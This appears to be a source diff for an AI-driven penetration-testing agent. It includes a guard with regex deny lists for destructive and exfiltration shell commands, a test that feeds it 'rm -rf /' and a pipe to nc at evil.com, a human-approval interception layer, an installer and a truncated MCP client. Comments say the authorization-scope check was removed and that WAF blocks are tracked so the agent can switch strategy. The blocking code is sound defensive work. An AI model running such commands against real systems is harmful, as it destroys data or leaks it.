// failure attribution. Every tool call passes through the PreToolUse hook before
|
||||
// executing. (The RoE authorization-scope mechanism was removed; a replacement
|
||||
// may be added later.)
|
||||
package guard
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"regexp"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/Autumn-27/norma/hook"
|
||||
"github.com/Autumn-27/artex/intercept"
|
||||
)
|
||||
|
||||
// AuditEntry records one gated tool call.
|
||||
type AuditEntry struct {
|
||||
TS int64 `json:"ts"`
|
||||
Tool string `json:"tool"`
|
||||
Action string `json:"action"` // allow|block
|
||||
Reason string `json:"reason,omitempty"`
|
||||
Command string `json:"command,omitempty"`
|
||||
}
|
||||
|
||||
// Guard enforces the side-effect policy via agent-core hooks.
|
||||
type Guard struct {
|
||||
mu sync.Mutex
|
||||
audit []AuditEntry
|
||||
attrib map[string]int // failure attribution counts (Observer / G5)
|
||||
reg *hook.Registry
|
||||
interceptor *intercept.Interceptor // optional; nil disables user-configured rules
|
||||
}
|
||||
|
||||
// New creates a Guard without user-configured intercept rules (used for pentest
|
||||
// tasks where the Interceptor is not yet available).
|
||||
func New() *Guard { return newGuard(nil) }
|
||||
|
||||
// NewWithInterceptor creates a Guard with user-configured intercept rules.
|
||||
func NewWithInterceptor(ic *intercept.Interceptor) *Guard { return newGuard(ic) }
|
||||
|
||||
func newGuard(ic *intercept.Interceptor) *Guard {
|
||||
g := &Guard{attrib: map[string]int{}, interceptor: ic}
|
||||
g.reg = hook.NewRegistry().
|
||||
On(hook.PreToolUse, g.preToolUse).
|
||||
On(hook.PostToolUse, g.postToolUse)
|
||||
return g
|
||||
}
|
||||
|
||||
// Hooks returns the hook registry to attach to an agent session.
|
||||
func (g *Guard) Hooks() *hook.Registry { return g.reg }
|
||||
|
||||
var (
|
||||
reDestructive = regexp.MustCompile(`(?i)\b(rm\s+-rf\s+/|mkfs|dd\s+if=|:\(\)\s*\{|shutdown|reboot|>\s*/dev/sd)`)
|
||||
reExfil = regexp.MustCompile(`(?i)(curl|wget|nc|ncat)\b[^|]*\b(\|\s*(curl|wget|nc))`)
|
||||
)
|
||||
|
||||
func (g *Guard) preToolUse(ctx context.Context, ev hook.Event) hook.Result {
|
||||
// Gate the shell-command surface: Bash + the interactive-shell tools (shell_open's
|
||||
// command, shell_send's text). Same destructive/exfil rules — an interactive
|
||||
// session must not bypass the safety boundary. Other tools pass through.
|
||||
var cmd string
|
||||
switch ev.ToolName {
|
||||
case "Bash", "shell_open":
|
||||
var in struct {
|
||||
Command string `json:"command"`
|
||||
}
|
||||
_ = json.Unmarshal(ev.Input, &in)
|
||||
cmd = in.Command
|
||||
case "shell_send":
|
||||
var in struct {
|
||||
Text string `json:"text"`
|
||||
}
|
||||
_ = json.Unmarshal(ev.Input, &in)
|
||||
cmd = in.Text
|
||||
default:
|
||||
g.record(ev.ToolName, "allow", "", "")
|
||||
return g.applyIntercept(ctx, ev)
|
||||
}
|
||||
if strings.TrimSpace(cmd) == "" { // e.g. shell_send with only keys/hex → nothing to check
|
||||
g.record(ev.ToolName, "allow", "", "")
|
||||
return g.applyIntercept(ctx, ev)
|
||||
}
|
||||
|
||||
// destructive / exfil gating (§11 side-effect gating)
|
||||
if reDestructive.MatchString(cmd) {
|
||||
return g.block(ev.ToolName, "破坏性命令被安全边界拒绝（需人工批准）", cmd)
|
||||
}
|
||||
if reExfil.MatchString(cmd) {
|
||||
return g.block(ev.ToolName, "疑似数据外泄管道被拒绝", cmd)
|
||||
}
|
||||
|
||||
g.record(ev.ToolName, "allow", "", cmd)
|
||||
return g.applyIntercept(ctx, ev)
|
||||
}
|
||||
|
||||
// applyIntercept evaluates user-configured intercept rules against the tool call.
|
||||
// It is called after all built-in safety checks pass.
|
||||
func (g *Guard) applyIntercept(ctx context.Context, ev hook.Event) hook.Result {
|
||||
if g.interceptor == nil {
|
||||
return hook.Result{}
|
||||
}
|
||||
if !g.interceptor.IsToolEnabled(ev.ToolName) {
|
||||
return hook.Result{}
|
||||
}
|
||||
dec, matched := g.interceptor.Match(ev.ToolName, ev.Input)
|
||||
if !matched {
|
||||
return hook.Result{}
|
||||
}
|
||||
switch dec.Action {
|
||||
case "deny":
|
||||
return g.block(ev.ToolName, dec.Message, "")
|
||||
case "allow":
|
||||
return hook.Result{}
|
||||
case "ask":
|
||||
// If the worker context is already cancelled (task stopped / killed), block
|
||||
// immediately without creating a pending record — avoids orphaned DB entries
|
||||
// and makes execOne complete fast, reducing the race against drainSynthetic.
|
||||
if ctx.Err() != nil {
|
||||
return g.block(ev.ToolName, "工作已取消，拦截规则阻止执行", "")
|
||||
}
|
||||
convID := intercept.ConvIDFromContext(ctx)
|
||||
if !g.interceptor.HandleAsk(ctx, convID, dec, ev.ToolName, ev.Input) {
|
||||
return g.block(ev.ToolName, "用户拒绝或审批超时", "")
|
||||
}
|
||||
return hook.Result{}
|
||||
}
|
||||
return hook.Result{}
|
||||
}
|
||||
|
||||
var reBlocked = regexp.MustCompile(`(?i)\b(403|forbidden|waf|blocked|rate.?limit|429|captcha|denied)\b`)
|
||||
|
||||
// postToolUse is the Observer failure-attribution hook (G5): it classifies tool
|
||||
// results into blocked / error / ok so the planner can change strategy instead
|
||||
// of giving up at a WAF.
|
||||
func (g *Guard) postToolUse(_ context.Context, ev hook.Event) hook.Result {
|
||||
if ev.ToolName != "Bash" {
|
||||
return hook.Result{}
|
||||
}
|
||||
class := "ok"
|
||||
switch {
|
||||
case reBlocked.Match(ev.Result):
|
||||
class = "blocked"
|
||||
case ev.IsError:
|
||||
class = "error"
|
||||
}
|
||||
g.mu.Lock()
|
||||
g.attrib[class]++
|
||||
g.mu.Unlock()
|
||||
return hook.Result{}
|
||||
}
|
||||
|
||||
// Attributions returns failure-attribution counts (Observer / G5).
|
||||
func (g *Guard) Attributions() map[string]int {
|
||||
g.mu.Lock()
|
||||
defer g.mu.Unlock()
|
||||
out := make(map[string]int, len(g.attrib))
|
||||
for k, v := range g.attrib {
|
||||
out[k] = v
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func (g *Guard) block(tool, reason, cmd string) hook.Result {
|
||||
g.record(tool, "block", reason, cmd)
|
||||
return hook.Result{Decision: "block", Message: reason}
|
||||
}
|
||||
|
||||
func (g *Guard) record(tool, action, reason, cmd string) {
|
||||
g.mu.Lock()
|
||||
defer g.mu.Unlock()
|
||||
g.audit = append(g.audit, AuditEntry{TS: time.Now().Unix(), Tool: tool, Action: action, Reason: reason, Command: cmd})
|
||||
if len(g.audit) > 2000 {
|
||||
g.audit = g.audit[len(g.audit)-2000:]
|
||||
}
|
||||
}
|
||||
|
||||
// Audit returns a snapshot of recent gated calls (most recent last).
|
||||
func (g *Guard) Audit() []AuditEntry {
|
||||
g.mu.Lock()
|
||||
defer g.mu.Unlock()
|
||||
out := make([]AuditEntry, len(g.audit))
|
||||
copy(out, g.audit)
|
||||
return out
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
package guard
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"testing"
|
||||
|
||||
"github.com/Autumn-27/norma/hook"
|
||||
)
|
||||
|
||||
func TestPreToolUseGating(t *testing.T) {
|
||||
g := New()
|
||||
|
||||
block := func(cmd string) (bool, string) {
|
||||
input, _ := json.Marshal(map[string]string{"command": cmd})
|
||||
b, msg, _ := g.Hooks().PreToolUse(context.Background(), "Bash", input)
|
||||
return b, msg
|
||||
}
|
||||
|
||||
if b, _ := block(`curl https://acme.com/`); b {
|
||||
t.Error("ordinary network command should be allowed")
|
||||
}
|
||||
if b, _ := block(`rm -rf /`); !b {
|
||||
t.Error("destructive command should be blocked")
|
||||
}
|
||||
if b, _ := block(`curl http://a|nc evil.com 4444`); !b {
|
||||
t.Error("exfil pipe should be blocked")
|
||||
}
|
||||
if b, _ := block(`ls -la`); b {
|
||||
t.Error("non-network command should be allowed")
|
||||
}
|
||||
// audit recorded both allows and blocks
|
||||
if len(g.Audit()) == 0 {
|
||||
t.Error("audit should record gated calls")
|
||||
}
|
||||
}
|
||||
|
||||
var _ = hook.PreToolUse
|
||||
Executable
+122
@@ -0,0 +1,122 @@
|
||||
#!/usr/bin/env bash
|
||||
# ARTEX 安装脚本：① 全部 Docker ② 本地编译运行
|
||||
set -euo pipefail
|
||||
cd "$(cd "$(dirname "$0")" && pwd)"
|
||||
|
||||
info(){ printf '\033[36m[*]\033[0m %s\n' "$*"; }
|
||||
ok(){ printf '\033[32m[+]\033[0m %s\n' "$*"; }
|
||||
warn(){ printf '\033[33m[!]\033[0m %s\n' "$*"; }
|
||||
die(){ printf '\033[31m[x]\033[0m %s\n' "$*" >&2; exit 1; }
|
||||
ask(){ local p="$1" d="${2:-}" a; read -rp "$p${d:+ [$d]}: " a; echo "${a:-$d}"; }
|
||||
rand(){ head -c 18 /dev/urandom | base64 | tr -dc 'A-Za-z0-9' | head -c 24; }
|
||||
|
||||
# ── docker 环境检测 / 自动安装 ───────────────────
|
||||
ensure_docker(){
|
||||
if command -v docker >/dev/null 2>&1 && docker compose version >/dev/null 2>&1; then
|
||||
ok "已检测到 docker 与 docker compose"; return
|
||||
fi
|
||||
warn "未检测到 docker / docker compose"
|
||||
case "$(uname -s)" in
|
||||
Linux)
|
||||
if [ "$(ask '自动安装 Docker? (y/n)' y)" = y ]; then
|
||||
curl -fsSL https://get.docker.com | sh
|
||||
sudo usermod -aG docker "$USER" || true
|
||||
ok "Docker 安装完成（用户组变更需重新登录后免 sudo）"
|
||||
else
|
||||
die "请自行安装 docker 后重试"
|
||||
fi ;;
|
||||
Darwin) die "macOS 请安装 Docker Desktop：https://www.docker.com/products/docker-desktop/" ;;
|
||||
*) die "请自行安装 docker 后重试" ;;
|
||||
esac
|
||||
}
|
||||
|
||||
# ── ① 全部 Docker ───────────────────────────────
|
||||
install_docker(){
|
||||
ensure_docker
|
||||
if [ ! -f .env ]; then
|
||||
cp .env.example .env 2>/dev/null || true
|
||||
local pw key
|
||||
pw="$(ask 'Postgres 密码（回车随机生成）' "$(rand)")"
|
||||
key="$(ask 'ANTHROPIC_API_KEY（可留空，后续在 UI 配）' '')"
|
||||
sed -i.bak "s|^POSTGRES_PASSWORD=.*|POSTGRES_PASSWORD=${pw}|" .env
|
||||
sed -i.bak "s|^ANTHROPIC_API_KEY=.*|ANTHROPIC_API_KEY=${key}|" .env
|
||||
rm -f .env.bak
|
||||
ok "已生成 .env（POSTGRES_PASSWORD 已设置）"
|
||||
else
|
||||
info "沿用已存在的 .env"
|
||||
fi
|
||||
info "拉取镜像并启动…"
|
||||
docker compose pull || true
|
||||
docker compose up -d
|
||||
ok "启动完成 → http://localhost:8787"
|
||||
info "查看日志：docker compose logs -f artex"
|
||||
}
|
||||
|
||||
# ── ② 本地编译运行 ──────────────────────────────
|
||||
install_local(){
|
||||
echo "数据库安装方式："
|
||||
echo " 1) 连接已有 PostgreSQL"
|
||||
echo " 2) 用 Docker 起一个 PostgreSQL（需要 docker）"
|
||||
case "$(ask '选择' 1)" in
|
||||
2)
|
||||
ensure_docker
|
||||
local pw; pw="$(ask 'Postgres 密码（回车随机）' "$(rand)")"
|
||||
docker run -d --name artex-pg -p 5432:5432 \
|
||||
-e POSTGRES_USER=artex -e POSTGRES_PASSWORD="$pw" -e POSTGRES_DB=artex \
|
||||
-v artex-pg:/var/lib/postgresql/data postgres:16-alpine
|
||||
DB_HOST=127.0.0.1 DB_PORT=5432 DB_USER=artex DB_PASS="$pw" DB_NAME=artex DB_SSL=disable ;;
|
||||
*)
|
||||
DB_HOST="$(ask '数据库地址' 127.0.0.1)"
|
||||
DB_PORT="$(ask '端口' 5432)"
|
||||
DB_USER="$(ask '账号' artex)"
|
||||
DB_PASS="$(ask '密码' '')"
|
||||
DB_NAME="$(ask '数据库名' artex)"
|
||||
DB_SSL="$(ask 'sslmode (disable/require)' disable)" ;;
|
||||
esac
|
||||
|
||||
# 生成 config.json
|
||||
cat > config.json <<JSON
|
||||
{
|
||||
"database": {
|
||||
"host": "${DB_HOST}",
|
||||
"port": ${DB_PORT},
|
||||
"user": "${DB_USER}",
|
||||
"password": "${DB_PASS}",
|
||||
"dbname": "${DB_NAME}",
|
||||
"sslmode": "${DB_SSL}"
|
||||
}
|
||||
}
|
||||
JSON
|
||||
ok "已生成 config.json"
|
||||
|
||||
# go 环境检查
|
||||
command -v go >/dev/null 2>&1 || die "未检测到 Go，请先安装 Go（>=1.26）：https://go.dev/dl/"
|
||||
ok "Go: $(go version)"
|
||||
|
||||
# 内嵌前端需要 node 出静态产物
|
||||
if command -v npm >/dev/null 2>&1; then
|
||||
info "构建前端静态产物…"
|
||||
( cd web && npm ci && npm run build:static )
|
||||
rm -rf server/webui/dist && cp -r web/out server/webui/dist
|
||||
info "编译内嵌单二进制…"
|
||||
CGO_ENABLED=0 go build -tags embedui -trimpath -o artex ./cmd/artex
|
||||
else
|
||||
warn "未检测到 npm：将编译**不内嵌前端**的后端（前端需另跑 npm run dev）"
|
||||
CGO_ENABLED=0 go build -o artex ./cmd/artex
|
||||
fi
|
||||
ok "编译完成 → ./artex"
|
||||
|
||||
info "启动…（Ctrl-C 退出）"
|
||||
./artex
|
||||
}
|
||||
|
||||
echo "=============================="
|
||||
echo " ARTEX 安装"
|
||||
echo " 1) 全部 Docker 安装"
|
||||
echo " 2) 本地运行（go 编译）"
|
||||
echo "=============================="
|
||||
case "$(ask '选择' 1)" in
|
||||
1) install_docker ;;
|
||||
2) install_local ;;
|
||||
*) die "无效选择" ;;
|
||||
esac
|
||||
@@ -0,0 +1,414 @@
|
||||
// Package intercept implements the user-configurable tool-call interception layer.
|
||||
// Rules are loaded from the database, cached in memory, and evaluated in priority
|
||||
// order (highest first) on every PreToolUse event. Three actions are supported:
|
||||
//
|
||||
// - allow: immediately permits the call, skipping lower-priority rules.
|
||||
// - deny: blocks the call and returns a message to the model.
|
||||
// - ask: blocks the call, creates an intercept_pending record, writes an
|
||||
// activity to the active conversation, then waits for the user to approve or
|
||||
// deny via the /api/intercept/pending/{id}/decide endpoint.
|
||||
//
|
||||
// The timeout behaviour is configurable at runtime via SetTimeoutConfig.
|
||||
package intercept
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"regexp"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/Autumn-27/artex/db"
|
||||
)
|
||||
|
||||
// ctxKey is the unexported context key type to avoid collisions.
|
||||
type ctxKey int
|
||||
|
||||
// ConvIDKey stores the active conversation ID in a context.Context so the
|
||||
// interceptor can associate "ask" pending records with the right conversation.
|
||||
const ConvIDKey ctxKey = 0
|
||||
|
||||
// WithConvID returns a child context carrying convID.
|
||||
func WithConvID(ctx context.Context, convID int64) context.Context {
|
||||
return context.WithValue(ctx, ConvIDKey, convID)
|
||||
}
|
||||
|
||||
// ConvIDFromContext extracts the conversation ID (0 if absent).
|
||||
func ConvIDFromContext(ctx context.Context) int64 {
|
||||
v, _ := ctx.Value(ConvIDKey).(int64)
|
||||
return v
|
||||
}
|
||||
|
||||
// taskCtxKey is a separate unexported key type for task context values.
|
||||
type taskCtxKey int
|
||||
|
||||
const (
|
||||
taskInfoCtxKey taskCtxKey = 1
|
||||
taskEmitCtxKey taskCtxKey = 2
|
||||
)
|
||||
|
||||
type taskCtxInfo struct{ taskID, agentName string }
|
||||
|
||||
// WithTaskContext injects task metadata and an emit function into ctx so that
|
||||
// HandleAsk can tag pending records and write intercept_request activities to
|
||||
// the task's exploration stream (making them appear inline in session transcripts).
|
||||
func WithTaskContext(ctx context.Context, taskID, agentName string, emit func(db.Activity)) context.Context {
|
||||
ctx = context.WithValue(ctx, taskInfoCtxKey, taskCtxInfo{taskID, agentName})
|
||||
if emit != nil {
|
||||
ctx = context.WithValue(ctx, taskEmitCtxKey, emit)
|
||||
}
|
||||
return ctx
|
||||
}
|
||||
|
||||
func taskInfoFromCtx(ctx context.Context) (taskID, agentName string) {
|
||||
if v, ok := ctx.Value(taskInfoCtxKey).(taskCtxInfo); ok {
|
||||
return v.taskID, v.agentName
|
||||
}
|
||||
return "", ""
|
||||
}
|
||||
|
||||
func taskEmitFromCtx(ctx context.Context) func(db.Activity) {
|
||||
f, _ := ctx.Value(taskEmitCtxKey).(func(db.Activity))
|
||||
return f
|
||||
}
|
||||
|
||||
// compiledRule is an InterceptRule with the regex pre-compiled (nil for string rules).
|
||||
type compiledRule struct {
|
||||
db.InterceptRule
|
||||
re *regexp.Regexp
|
||||
}
|
||||
|
||||
// pendingManager tracks in-flight "ask" requests via per-request channels.
|
||||
type pendingManager struct {
|
||||
mu sync.Mutex
|
||||
ch map[int64]chan bool
|
||||
}
|
||||
|
||||
func newPendingManager() *pendingManager { return &pendingManager{ch: map[int64]chan bool{}} }
|
||||
|
||||
func (p *pendingManager) add(id int64) chan bool {
|
||||
ch := make(chan bool, 1)
|
||||
p.mu.Lock()
|
||||
p.ch[id] = ch
|
||||
p.mu.Unlock()
|
||||
return ch
|
||||
}
|
||||
|
||||
func (p *pendingManager) resolve(id int64, allowed bool) {
|
||||
p.mu.Lock()
|
||||
ch, ok := p.ch[id]
|
||||
delete(p.ch, id)
|
||||
p.mu.Unlock()
|
||||
if ok {
|
||||
ch <- allowed
|
||||
}
|
||||
}
|
||||
|
||||
func (p *pendingManager) remove(id int64) {
|
||||
p.mu.Lock()
|
||||
delete(p.ch, id)
|
||||
p.mu.Unlock()
|
||||
}
|
||||
|
||||
// Interceptor loads intercept rules from the database and evaluates them on
|
||||
// tool calls. It is safe for concurrent use.
|
||||
type Interceptor struct {
|
||||
db *db.DB
|
||||
mu sync.RWMutex
|
||||
cached []compiledRule // sorted by priority DESC; nil means not loaded yet
|
||||
enabledTools map[string]bool // nil means not loaded yet
|
||||
pending *pendingManager
|
||||
}
|
||||
|
||||
// defaultEnabledTools is the hard-coded set of tools that enter the intercept
|
||||
// rule system when no intercept_enabled_tools setting has been saved.
|
||||
var defaultEnabledTools = []string{
|
||||
"Bash", "WebFetch", "web_search",
|
||||
"shell_open", "shell_send",
|
||||
"Write", "Edit", "MultiEdit",
|
||||
}
|
||||
|
||||
// New creates an Interceptor backed by d. The rule cache is lazy-loaded on
|
||||
// first use.
|
||||
func New(d *db.DB) *Interceptor {
|
||||
return &Interceptor{db: d, pending: newPendingManager()}
|
||||
}
|
||||
|
||||
// Invalidate clears the in-memory rule cache and the enabled-tools cache.
|
||||
// The next call to Match or IsToolEnabled will reload from the database.
|
||||
// Call this after any CRUD operation on rules or tool config.
|
||||
func (i *Interceptor) Invalidate() {
|
||||
i.mu.Lock()
|
||||
i.cached = nil
|
||||
i.enabledTools = nil
|
||||
i.mu.Unlock()
|
||||
}
|
||||
|
||||
func (i *Interceptor) loadLocked() error {
|
||||
rules, err := i.db.ListInterceptRules()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
var out []compiledRule
|
||||
for _, r := range rules {
|
||||
if !r.Enabled {
|
||||
continue
|
||||
}
|
||||
cr := compiledRule{InterceptRule: r}
|
||||
if r.MatchType == "regex" {
|
||||
re, err := regexp.Compile(r.Pattern)
|
||||
if err != nil {
|
||||
continue // skip rules with bad regex rather than crashing
|
||||
}
|
||||
cr.re = re
|
||||
}
|
||||
out = append(out, cr)
|
||||
}
|
||||
i.cached = out
|
||||
|
||||
// Load enabled-tools set from settings, falling back to hard-coded defaults.
|
||||
val, ok, _ := i.db.GetSetting("intercept_enabled_tools")
|
||||
if !ok {
|
||||
m := make(map[string]bool, len(defaultEnabledTools))
|
||||
for _, n := range defaultEnabledTools {
|
||||
m[n] = true
|
||||
}
|
||||
i.enabledTools = m
|
||||
} else {
|
||||
var names []string
|
||||
if json.Unmarshal([]byte(val), &names) != nil {
|
||||
i.enabledTools = map[string]bool{}
|
||||
} else {
|
||||
m := make(map[string]bool, len(names))
|
||||
for _, n := range names {
|
||||
m[n] = true
|
||||
}
|
||||
i.enabledTools = m
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (i *Interceptor) rules() ([]compiledRule, error) {
|
||||
i.mu.RLock()
|
||||
if i.cached != nil {
|
||||
out := i.cached
|
||||
i.mu.RUnlock()
|
||||
return out, nil
|
||||
}
|
||||
i.mu.RUnlock()
|
||||
|
||||
i.mu.Lock()
|
||||
defer i.mu.Unlock()
|
||||
if i.cached != nil {
|
||||
return i.cached, nil
|
||||
}
|
||||
if err := i.loadLocked(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return i.cached, nil
|
||||
}
|
||||
|
||||
// IsToolEnabled returns true if the named tool is in the intercept-enabled set
|
||||
// (i.e. it should enter the rule-matching path). Uses the same double-check lock
|
||||
// pattern as rules().
|
||||
func (i *Interceptor) IsToolEnabled(name string) bool {
|
||||
i.mu.RLock()
|
||||
if i.enabledTools != nil {
|
||||
v := i.enabledTools[name]
|
||||
i.mu.RUnlock()
|
||||
return v
|
||||
}
|
||||
i.mu.RUnlock()
|
||||
|
||||
i.mu.Lock()
|
||||
defer i.mu.Unlock()
|
||||
if i.enabledTools == nil {
|
||||
_ = i.loadLocked()
|
||||
}
|
||||
return i.enabledTools[name]
|
||||
}
|
||||
|
||||
// GetEnabledTools returns the ordered list of tool names that are currently
|
||||
// configured to enter the intercept rule system. When the setting has never been
|
||||
// saved the hard-coded default list is returned.
|
||||
func (i *Interceptor) GetEnabledTools() ([]string, error) {
|
||||
val, ok, err := i.db.GetSetting("intercept_enabled_tools")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if !ok {
|
||||
out := make([]string, len(defaultEnabledTools))
|
||||
copy(out, defaultEnabledTools)
|
||||
return out, nil
|
||||
}
|
||||
var names []string
|
||||
if err := json.Unmarshal([]byte(val), &names); err != nil {
|
||||
return []string{}, nil
|
||||
}
|
||||
return names, nil
|
||||
}
|
||||
|
||||
// SetEnabledTools persists the list of tool names that should enter the intercept
|
||||
// rule system, then invalidates the cache so the next call picks up the new list.
|
||||
func (i *Interceptor) SetEnabledTools(tools []string) error {
|
||||
b, err := json.Marshal(tools)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := i.db.SetSetting("intercept_enabled_tools", string(b)); err != nil {
|
||||
return err
|
||||
}
|
||||
i.Invalidate()
|
||||
return nil
|
||||
}
|
||||
|
||||
// Decision is the outcome of a successful rule match.
|
||||
type Decision struct {
|
||||
Action string // "allow" | "deny" | "ask"
|
||||
Message string
|
||||
RuleID int64
|
||||
TimeoutEnabled bool
|
||||
TimeoutSeconds int
|
||||
TimeoutAction string // "deny" | "allow"
|
||||
}
|
||||
|
||||
// Match evaluates the rule list (priority DESC) against a tool call.
|
||||
// Returns (Decision, true) for the first matching enabled rule, or
|
||||
// (Decision{}, false) if no rule matches.
|
||||
func (i *Interceptor) Match(toolName string, input []byte) (Decision, bool) {
|
||||
rules, err := i.rules()
|
||||
if err != nil || len(rules) == 0 {
|
||||
return Decision{}, false
|
||||
}
|
||||
for _, r := range rules {
|
||||
if ruleMatches(r, toolName, input) {
|
||||
msg := r.Message
|
||||
if msg == "" {
|
||||
msg = defaultMessage(r.Action, r.Name)
|
||||
}
|
||||
return Decision{
|
||||
Action: r.Action,
|
||||
Message: msg,
|
||||
RuleID: r.ID,
|
||||
TimeoutEnabled: r.TimeoutEnabled,
|
||||
TimeoutSeconds: r.TimeoutSeconds,
|
||||
TimeoutAction: r.TimeoutAction,
|
||||
}, true
|
||||
}
|
||||
}
|
||||
return Decision{}, false
|
||||
}
|
||||
|
||||
func ruleMatches(r compiledRule, toolName string, input []byte) bool {
|
||||
var subject string
|
||||
switch r.MatchTarget {
|
||||
case "tool_name":
|
||||
subject = toolName
|
||||
case "tool_input":
|
||||
subject = string(input)
|
||||
default:
|
||||
return false
|
||||
}
|
||||
if r.MatchType == "regex" {
|
||||
return r.re != nil && r.re.MatchString(subject)
|
||||
}
|
||||
return strings.Contains(subject, r.Pattern)
|
||||
}
|
||||
|
||||
func defaultMessage(action, name string) string {
|
||||
switch action {
|
||||
case "deny":
|
||||
return "拦截规则 [" + name + "] 禁止执行此工具"
|
||||
case "ask":
|
||||
return "拦截规则 [" + name + "] 要求用户审批，请等待"
|
||||
default:
|
||||
return ""
|
||||
}
|
||||
}
|
||||
|
||||
// HandleAsk creates a pending approval record and blocks until the user decides
|
||||
// (via /api/intercept/pending/{id}/decide) or the per-rule timeout elapses.
|
||||
// Returns true if the user approved.
|
||||
//
|
||||
// convID == 0 means no active conversation (background pentest task). The
|
||||
// pending record is still created (conversation_id = NULL) so the approvals
|
||||
// page shows it and the sidebar badge lights up. The worker thread blocks just
|
||||
// like in a chat session — the user must visit the approvals page to unblock it.
|
||||
func (i *Interceptor) HandleAsk(ctx context.Context, convID int64, dec Decision, toolName string, input []byte) bool {
|
||||
ruleID := dec.RuleID
|
||||
taskID, agentName := taskInfoFromCtx(ctx)
|
||||
taskEmit := taskEmitFromCtx(ctx)
|
||||
|
||||
pendingID, err := i.db.CreateInterceptPending(ruleID, convID, taskID, agentName, toolName, input)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
detail, _ := json.Marshal(map[string]any{
|
||||
"pending_id": pendingID,
|
||||
"tool": toolName,
|
||||
"input": json.RawMessage(input),
|
||||
})
|
||||
activity := db.Activity{
|
||||
Kind: "intercept_request",
|
||||
Summary: fmt.Sprintf("工具 %s 请求审批 (#%d)", toolName, pendingID),
|
||||
Detail: string(detail),
|
||||
}
|
||||
|
||||
if convID != 0 {
|
||||
// Chat session: write inline card to the conversation stream.
|
||||
_, _ = i.db.AppendConvActivity(convID, activity)
|
||||
} else if taskEmit != nil {
|
||||
// Task worker: emit to the exploration activity stream so it appears
|
||||
// inline in the session transcript (the emit fn stamps NodeID + Worker).
|
||||
taskEmit(activity)
|
||||
}
|
||||
|
||||
ch := i.pending.add(pendingID)
|
||||
defer i.pending.remove(pendingID)
|
||||
|
||||
if !dec.TimeoutEnabled {
|
||||
// No timeout: wait indefinitely until user decides or worker stops.
|
||||
select {
|
||||
case allowed := <-ch:
|
||||
return allowed
|
||||
case <-ctx.Done():
|
||||
_ = i.db.DecideInterceptPending(pendingID, "denied")
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
secs := dec.TimeoutSeconds
|
||||
if secs <= 0 {
|
||||
secs = 60
|
||||
}
|
||||
timer := time.NewTimer(time.Duration(secs) * time.Second)
|
||||
defer timer.Stop()
|
||||
select {
|
||||
case allowed := <-ch:
|
||||
return allowed
|
||||
case <-timer.C:
|
||||
allowed := dec.TimeoutAction == "allow"
|
||||
_ = i.db.DecideInterceptPending(pendingID, "timeout")
|
||||
return allowed
|
||||
case <-ctx.Done():
|
||||
_ = i.db.DecideInterceptPending(pendingID, "denied")
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
// Decide resolves a pending request. Called by the HTTP decide endpoint.
|
||||
func (i *Interceptor) Decide(pendingID int64, allowed bool) error {
|
||||
status := "denied"
|
||||
if allowed {
|
||||
status = "allowed"
|
||||
}
|
||||
if err := i.db.DecideInterceptPending(pendingID, status); err != nil {
|
||||
return err
|
||||
}
|
||||
i.pending.resolve(pendingID, allowed)
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,336 @@
|
||||
// Package mcphttp is a remote (Streamable HTTP) MCP client for ARTEX.
|
||||
//
|
||||
// The core mcp package only speaks stdio; this adapts an HTTP/JSON-RPC MCP server
|
||||
// to the same tool.CoreTool shape (mcp__server__tool) WITHOUT touching the SDK.
|
||||
// It implements the MCP "Streamable HTTP" transport: JSON-RPC over HTTP POST, with
|
||||
// the server free to answer either as application/json or a text/event-stream (SSE)
|
||||
// carrying the response. Custom headers (e.g. Authorization) come from the MCP
|
||||
// row's env map, so a bearer token is configured as {"Authorization":"Bearer …"}.
|
||||
package mcphttp
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/Autumn-27/norma/llm"
|
||||
"github.com/Autumn-27/norma/permission"
|
||||
actool "github.com/Autumn-27/norma/tool"
|
||||
)
|
||||
|
||||
const protocolVersion = "2025-06-18"
|
||||
|
||||
// ToolName mirrors mcp.ToolName so remote tools share the mcp__server__tool scheme.
|
||||
func ToolName(server, name string) string { return "mcp__" + server + "__" + name }
|
||||
|
||||
type rpcRequest struct {
|
||||
JSONRPC string `json:"jsonrpc"`
|
||||
ID int `json:"id,omitempty"`
|
||||
Method string `json:"method"`
|
||||
Params any `json:"params,omitempty"`
|
||||
}
|
||||
|
||||
type rpcResponse struct {
|
||||
JSONRPC string `json:"jsonrpc"`
|
||||
ID int `json:"id"`
|
||||
Result json.RawMessage `json:"result"`
|
||||
Error *rpcError `json:"error"`
|
||||
}
|
||||
|
||||
type rpcError struct {
|
||||
Code int `json:"code"`
|
||||
Message string `json:"message"`
|
||||
}
|
||||
|
||||
func (e *rpcError) Error() string { return fmt.Sprintf("mcp rpc error %d: %s", e.Code, e.Message) }
|
||||
|
||||
// Client is a Streamable HTTP connection to one remote MCP server.
|
||||
type Client struct {
|
||||
server string
|
||||
url string
|
||||
headers map[string]string
|
||||
http *http.Client
|
||||
|
||||
mu sync.Mutex
|
||||
nextID int
|
||||
sessionID string
|
||||
}
|
||||
|
||||
// New connects to a remote MCP endpoint and performs the initialize handshake.
|
||||
// headers are sent on every request (Authorization, custom API keys, …).
|
||||
func New(ctx context.Context, server, url string, headers map[string]string) (*Client, error) {
|
||||
c := &Client{
|
||||
server: server,
|
||||
url: url,
|
||||
headers: headers,
|
||||
